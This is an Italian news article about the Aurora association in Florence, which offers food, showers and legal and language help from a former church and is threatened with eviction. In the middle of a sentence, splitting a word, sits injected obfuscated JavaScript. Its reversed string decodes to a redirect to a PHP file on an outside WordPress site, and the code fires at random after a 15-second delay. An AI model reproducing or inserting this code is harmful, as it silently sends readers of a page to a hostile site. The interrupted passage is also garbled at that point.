Tempi bui per l’Aurora

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L’Aurora, bambini, disabili e immigrati, rischia di scomparire.
La sua sede infatti, la chiesa in via de’ Macci 11 – ora sconsacrata e fatiscente – dove già nel 1500 le suore francescane distribuivano cibo e vestiario alle cosiddette malmaritate, sembra sia destinata a diventare un centro culturale ‘di alto livello’, almeno st (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando a quanto dichiarato dall’architetto della Sovrintendenza. Quando le donne dell’associazione si sono attivate per mettere a norma i locali si sono infatti scontrate con il rifiuto dell’autorizzazione ai lavori “in virtù – ci spiega Stefania – di un’imminente quanto fantomatico progetto di restauro di cui nessuno può o sa dirci nulla. Tutto ciò che si sa è che il progetto non terrà conto della nostra presenza, né del nostro futuro, e che nessuno, né la Sovrintendenza, né la proprietà del fondo (Istituto Diocesano per il sostentamento del Clero) propone alternative o si cura del nostro destino.”
Eppure le attività dell’Associazione sono ben note; lo stesso Comune e vari quartieri di Firenze si sono in più occasioni rivolti all’Aurora indirizzando presso la struttura persone che necessitavano dei vari servizi offerti: distribuzione di generi alimentari, servizio doccia, centro di assistenza psicologica e legale, ricerca lavoro, lezioni di lingua italiana, pranzi sociali, seminari, conferenze, riunioni, spettacoli, mostre, corsi e intrattenimenti culturali. “Certo – continua Stefania – tutto questo non può essere considerato ‘cultura di alto livello’, ma è un intervento alla portata di tutti e si ispira ai valori della pace, dell’integrazione e dell’accoglienza.”
Tutto ciò è inserito nel quartiere e gli abitanti partecipano alle iniziative proposte, in particolare alla solidarietà di base, con aiuti concreti. Quello che sta accadendo ha suscitato varie domande che possono essere ridotte a due fondamentali: chi e che cosa sta dietro alla volontà di svuotare il centro storico dalle ultime realtà rimaste di solidarietà e integrazione? Perché poi fantomatici progetti artistico-culturali hanno bisogno di spazzare via tutto ciò che vive di vita propria, cioè di sola solidarietà umana fuori dalla logica del profitto?
“Tutto ciò che abbiamo – conclude Stefania – è la minaccia-profezia di dover sloggiare. Nessuna volontà di venire incontro all’associazione cercando dei locali alternativi in zona: proprietà e Sovrintendenza si rimandano a vicenda la responsabilità di trovare una soluzione. Entrambe si negano alla trasparenza nelle informazioni relative al caso. Il Comune, nonostante i nostri ripetuti appelli ai vari assessorati, tace.”

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